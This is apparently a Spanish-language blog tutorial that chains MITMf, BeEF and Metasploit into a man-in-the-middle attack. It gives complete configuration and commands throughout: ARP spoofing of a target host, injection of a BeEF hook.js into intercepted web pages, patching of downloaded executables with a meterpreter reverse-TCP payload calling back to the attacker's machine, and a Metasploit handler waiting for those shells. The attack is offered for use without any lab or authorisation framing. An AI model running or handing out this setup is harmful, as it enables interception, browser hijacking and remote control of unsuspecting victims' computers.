En el post de hoy vamos a ver como podemos combinar estas tres herramientas que seguramente ya conozcáis de forma individual.
Aquí os dejo sus respectivos repositorios para que os los podáis instalar, están muy bien documentados así que no me voy a parar en este punto:
- MITMf: https://github.com/byt3bl33d3r/MITMf
- Beef: https://github.com/beefproject/beef
- Metasploit: https://github.com/rapid7/metasploit-framework
Este es un pequeño diagrama sobre como funcionaría el ataque:
+---------+ | | | Victim <--------------------------------+ | | | +----+----+ | | | | | +----v----+ +-----+-----+ | | | | | MIMf +--------------------------> Beef | | <--------------+ | | +----+----+ | +-----^-----+ | | | | | | +----v----+ +----+------+ | | | | | | | Internet| | Metasploit ----------+ | | | | +---------+ +-----------+
Una explicación rápida sería:
- Equipo victima intenta salir a Internet pero, sea por el método que sea, MITMf intercepta el tráfico.
- MITMf inyecta el payload de Beef en el caso de websites o infecta archivos que vayan por HTTP utilizando Metasploit.
- Una vez el navegador este infectado Beef nos permite lanzar diferentes exploits, entre ellos una colección cargada directamente desde Metasploit.
Para poder combinar con éxito estas tres herramientas debemos hacer ciertos cambios en sus configuraciones por defecto y ejecutarlas en un orden determinado. La primera que debemos arrancar sera metasploit.
Para ayudarnos en futuras automatizaciones crearemos un archivo llamado «rpc-init.rc» y que contendrá la siguiente linea:
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123
Y se lo pasamos en el arranque a Metasploit de la siguiente manera:
msfconsole -r rpc-init.rc
Esto lo que hace es arrancar el servidor RPC de Metasploit que utilizarán luego MITMf y Beef para comunicarse con el mismo. Fijarse bien en que no he activado el SSL ya que MITMf no lo soporta, pero Beef si, en caso de que solo utilicéis este último podéis activar el SSL simplemente añadiendo SSL=y al final de la linea de rpc-init.rc.
Una vez tengamos a Metasploit escuchando el siguiente en arrancar sera Beef, pero antes debemos activar el soporte para Metasploit, para ello debemos modificar dos archivos.
El primero será config.yaml que estará situado en la carpeta principal de beef, iremos a la sección extensions y la dejaremos de la siguiente manera:
extension: requester: enable: true proxy: enable: true key: "beef_key.pem" cert: "beef_cert.pem" metasploit: enable: true social_engineering: enable: true evasion: enable: false ipec: enable: true # this is still experimental.. dns: enable: false # this is still experimental.. dns_rebinding: enable: false
Aquí la opción más importante es la de Metasploit, el resto podéis activar o desactivar a vuestro gusto.
Ahora pasaremos al siguiente archivo config.yaml que estará en la ruta extensions/metasploit/ dentro de nuestra carpeta de beef nuevamente. Comprobamos que la configuración sea la correcta:
beef: extension: metasploit: name: 'Metasploit' enable: true # Metasploit msgrpc connection options host: "127.0.0.1" port: 55552 user: "msf" pass: "abc123" uri: '/api' ssl: false ssl_version: 'TLS1' ssl_verify: true # Public connect back host IP address for victim connections to Metasploit callback_host: "127.0.0.1" # URIPATH from Metasploit Browser AutoPwn server module autopwn_url: "autopwn" # Start msfrpcd automatically with BeEF auto_msfrpcd: false auto_msfrpcd_timeout: 120 msf_path: [ {os: 'osx', path: '/opt/local/msf/'}, {os: 'livecd', path: '/opt/metasploit-framework/'}, {os: 'bt5r3', path: '/opt/metasploit/msf3/'}, {os: 'bt5', path: '/opt/framework3/msf3/'}, {os: 'backbox', path: '/opt/backbox/msf/'}, {os: 'kali', path: '/usr/share/metasploit-framework/'}, {os: 'pentoo', path: '/usr/lib/metasploit'}, {os: 'win', path: 'c:\\metasploit-framework\\'}, {os: 'custom', path: ''} ]
Aquí debemos asegurarnos de ciertas cosas, la primera es que la opción ssl esté en false ya que no lo utilizaremos por lo que comente anteriormente. Por el resto simplemente comprobaremos que tanto las credenciales como los datos de conexión se corresponden con los de nuestro Metasploit, todo debería estar correcto por defecto pero nunca está de más revisarlo.
Ahora arrancamos beef de forma normal desde la carpeta principal:
./beef
Una vez que termine de arrancar ya tenemos nuestro «backend» listo, lo llamo backend porque serán las aplicaciones en las que nos apoyemos mayormente durante la post-explotación siendo MITMf la principal aplicación atacante.
Antes de poder arrancar MITMf debemos modificar su archivo de configuración para que se adapte a nuestras necesidades, este archivo se encuentra dentro de la carpeta de MITMf en la ruta config/ y se llama mitmf.conf.
Está sea quizás la parte más compleja de configurar ya que MITMf utilizará diferentes payloads dependiendo del sistema de la victima.
El primer, y cambio más importante, es que en la sección [FilePwn][[Targets]] de dicho archivo cambiemos todas las variables HOST para que apunten a nuestro equipo.
Ahora viene la parte compleja, como no existe un payload universal debemos definir el que prefiramos y el puerto en el que escuchará en cada caso, vamos a ver un ejemplo para windows x86:
[[[[WindowsIntelx86]]]] PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke PATCH_METHOD = automatic HOST = 10.0.0.1 PORT = 8090 # SHELL for use with automatic PATCH_METHOD SHELL = iat_reverse_tcp_stager_threaded # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload SUPPLIED_SHELLCODE = None ZERO_CERT = True # PATCH_DLLs as they come across PATCH_DLL = False # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable RUNAS_ADMIN = False # XP_MODE - to support XP targets XP_MODE = True # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and # with PATCH_METHOD 'replace' use an EXE not DLL SUPPLIED_BINARY = veil_go_payload.exe MSFPAYLOAD = windows/meterpreter/reverse_tcp
Está sería la configuración por defecto donde solamente he cambiado la variable HOST para que apunte a mi máquina y vemos al final del todo que el payload a utilizar sera windows/meterpreter/reverse_tcp y que el puerto al que se intentará conectar sera el 8090. En ciertos casos como meterpreter sí que podemos apuntar diversos targets al mismo puerto ya que soportaría conexiones de Windows x86 y x64 pero por ejemplo no soportaría un equipo Linux, con lo cual necesitaríamos utilizar un puerto distinto.
Una vez tengamos todo configurado a nuestra manera y antes de arrancar MITMf, sería recomendable que arrancásemos en Metasploit los handlers necesarios, para el caso anterior; y en el caso de que solo fuéramos a atacar Windows podríamos aprovechar el msfconsole que ya tenemos abierto y ejecutar lo siguiente:
use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.0.0.1 set LPORT 8090 exploit -j
Como veis las opciones LHOST y LPORT se corresponden con las que configuramos en MITMf, con esto ya tendremos a nuestro Metasploit esperando a que MITMf infecte algún archivo y nuestra victima lo ejecute.
MITMf soporta muchos métodos de ataque, desde dejarlo a el hacer todo el trabajo realizando diversos ataques de poisoning hasta simplemente redireccionando el tráfico que deseemos a un puerto a la escucha, aquí voy a tirar de RTFM y os animo a que investiguen las distintas opciones para ver cual se ajusta más a vuestras necesidades.
Ahora bien, existen dos opciones que necesitamos pasarle a MITMf independientemente del tipo de ataque para poder sacar partido a todo este trabajo que hemos realizado hasta ahora, estas opciones son:
--filepwn --inject --js-url http://10.0.0.1:3000/hook.js
En este caso debéis modificar la opción js-url por la URL donde está vuestro beef sirviendo el archivo hook.js, estas URL’s podéis encontrarlas en la consola donde arrancasteis beef ya que por defecto escucha en todas las interfaces.
Aquí os dejo un ejemplo de como se podría lanzar MITMf utilizando estas opciones y realizando un ataque ARP spoof sobre una máquina en concreto:
./mitmf.py --spoof --arp -i wlp2s0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwn --inject --js-url http://10.0.0.1:3000/hook.js
Como nota final sobre MITMf deciros que vais a necesitar ejecutarla con permisos de root porque sino probablemente ni os arranque.
Espero os haya gustado esta guía y como siempre, cualquier duda o sugerencia dejadme un comentario 🙂
Saludos y gracias por vuestra visita!